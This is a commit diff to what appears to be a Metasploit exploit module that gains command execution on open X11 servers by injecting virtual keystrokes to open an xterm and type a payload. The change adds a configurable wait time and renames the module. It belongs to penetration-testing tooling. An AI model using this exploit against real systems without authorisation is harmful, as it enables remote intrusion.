Added TIME_WAIT for GUI windows

Author: xistence

modules/exploits/unix/x11/x11_keyboard_exec.rb

@@ -79,7 +79,7 @@ class Metasploit3 < Msf::Exploit::Remote
 
   def initialize(info = {})
     super(update_info(info,
-      'Name'            => 'X11 Keyboard Exec',
+      'Name'            => 'X11 Keyboard Command Injection',
       'Description'     => %q{
         This module exploits open X11 servers by connecting and registering a
         virtual keyboard. The virtual keyboard is used to open an xterm terminal
@@ -108,7 +108,8 @@ def initialize(info = {})
 
     register_options(
       [
-        Opt::RPORT(6000)
+        Opt::RPORT(6000),
+        OptInt.new('TIME_WAIT', [ true, 'Time to wait for opening GUI windows', 5])
       ], self.class)
   end
 
@@ -225,15 +226,15 @@ def exploit
       release_key(KB_KEYS["alt"])
       release_key(KB_KEYS["f2"])
 
-      # Wait a second to open the dialog
-      select(nil, nil, nil, 1)
+      # Wait X seconds to open the dialog
+      select(nil, nil, nil, datastore['TIME_WAIT'])
 
       # Start a xterm terminal
       print_status("#{rhost}:#{rport} - Opening xterm")
       type_command("xterm")
 
-      # Wait a second to open the terminal
-      select(nil, nil, nil, 1)
+      # Wait X seconds to open the terminal
+      select(nil, nil, nil, datastore['TIME_WAIT'])
 
       # "Type" our payload and execute it
       print_status("#{rhost}:#{rport} - Typing and executing payload")